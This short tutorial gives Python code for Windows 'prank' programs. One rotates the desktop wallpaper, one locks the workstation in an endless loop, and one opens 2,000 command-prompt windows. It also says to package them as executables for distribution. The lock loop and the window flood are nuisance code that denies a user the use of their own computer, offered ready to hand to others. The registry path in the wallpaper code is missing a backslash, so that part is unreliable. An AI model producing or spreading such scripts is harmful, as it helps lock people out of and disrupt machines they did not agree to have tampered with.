Python Scripts for Changing Windows Wallpaper, Locking the Screen, and Generating Infinite Pop‑ups

This article provides a step‑by‑step guide for creating three mischievous Windows utilities using Python 3.7: a wallpaper changer, an infinite lock‑screen script, and a pop‑up spawner.

Environment : Windows 10, Python 3.7, required packages pywin32 (win32api, win32con, win32gui) and ctypes .

Install the win32 package:

pip install pywin32

1. Change Desktop Wallpaper

The wallpaper is stored in the registry under HKEY_CURRENT_USER\Control Panel\Desktop . The script opens this key, sets WallpaperStyle to the desired mode (e.g., 2 for stretch) and calls SystemParametersInfo to apply the image.

k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, 'Control PanelDesktop', 0, win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, '2')
win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, img_path, win32con.SPIF_SENDWININICHANGE)

The full script iterates over a folder of images, selects each one, updates the registry, and pauses 10 seconds between changes.

import win32api, win32con, win32gui, os, time

def set_wallpaper():
    path = os.listdir(r'图片文件夹')
    for i in path:
        img_path = r'图片文件夹' + "\\" + i
        k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, 'Control PanelDesktop', 0, win32con.KEY_SET_VALUE)
        win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, '2')
        win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, img_path, win32con.SPIF_SENDWININICHANGE)
        time.sleep(10)

set_wallpaper()

2. Infinite Lock‑Screen

Using ctypes to load user32.dll and call LockWorkStation inside an endless loop creates a continuously locking screen.

from ctypes import windll

def lock_windows():
    while True:
        user = windll.LoadLibrary("user32.dll")
        user.LockWorkStation()

lock_windows()

Package the script with pyinstaller -F your_file.py for distribution.

3. Infinite Pop‑up Windows

By repeatedly executing os.system('start cmd') a large number of command‑prompt windows are opened. A complementary command can close them all.

for i in range(2000):
    os.system('start cmd')

# To close all cmd windows
start taskkill /f /im cmd.exe /t

All source code is provided, and readers are encouraged to test the scripts at their own risk.